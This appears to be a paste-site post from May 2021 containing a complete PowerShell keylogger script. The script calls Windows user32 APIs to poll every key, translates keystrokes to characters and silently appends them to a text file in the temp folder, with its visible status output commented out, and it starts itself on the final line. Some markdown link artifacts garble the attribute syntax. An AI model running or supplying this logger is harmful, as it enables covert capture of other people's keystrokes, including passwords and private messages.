· 4 years ago · May 13, 2021, 05:06 PM
1​
2
3\#requires -Version 2
4
5function Start-KeyLogger($Path="$env:temp\\PSLoggs.txt")
6
7{
8
9 \# Signatures for API Calls
10
11 $signatures = @'
12
13\[DllImport("user32.dll", [CharSet=CharSet.Auto](https://CharSet=CharSet.Auto), ExactSpelling=true)\]
14
15public static extern short GetAsyncKeyState(int virtualKeyCode);
16
17\[DllImport("user32.dll", [CharSet=CharSet.Auto](https://CharSet=CharSet.Auto))\]
18
19public static extern int GetKeyboardState(byte\[\] keystate);
20
21\[DllImport("user32.dll", [CharSet=CharSet.Auto](https://CharSet=CharSet.Auto))\]
22
23public static extern int MapVirtualKey(uint uCode, int uMapType);
24
25\[DllImport("user32.dll", [CharSet=CharSet.Auto](https://CharSet=CharSet.Auto))\]
26
27public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte\[\] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
28
29'@
30
31​
32
33 \# load signatures and make members available
34
35 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
36
37
38
39 \# create output file
40
41 $null = New-Item -Path $Path -ItemType File -Force
42
43​
44
45 try
46
47 {
48
49\#Write-Host 'Running...' -ForegroundColor Red
50
51​
52
53\# create endless loop. When user presses CTRL+C, finally-block
54
55\# executes and shows the collected key presses
56
57while ($true) {
58
59Start-Sleep -Milliseconds 40
60
61
62
63\# scan all ASCII codes above 8
64
65for ($ascii = 9; $ascii -le 254; $ascii++) {
66
67\# get current key state
68
69$state = $API::GetAsyncKeyState($ascii)
70
71​
72
73\# is key pressed?
74
75if ($state -eq -32767) {
76
77$null = \[console\]::CapsLock
78
79​
80
81\# translate scan code to real code
82
83$virtualKey = $API::MapVirtualKey($ascii, 3)
84
85​
86
87\# get keyboard state for virtual keys
88
89$kbstate = New-Object Byte\[\] 256
90
91$checkkbstate = $API::GetKeyboardState($kbstate)
92
93​
94
95\# prepare a StringBuilder to receive input key
96
97$mychar = New-Object -TypeName System.Text.StringBuilder
98
99​
100
101\# translate virtual key
102
103$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
104
105​
106
107if ($success)
108
109{
110
111\# add key to logger file
112
113\[System.IO.File\]::AppendAllText($Path, $mychar, \[System.Text.Encoding\]::Unicode)
114
115}
116
117}
118
119}
120
121}
122
123 }
124
125 finally
126
127 {
128
129\# open logger file in Notepad
130
131\#notepad $Path
132
133 }
134
135}
136
137​
138
139\# records all key presses until script is aborted by pressing CTRL+C
140
141\# will then open the file with collected key codes
142
143Start-KeyLogger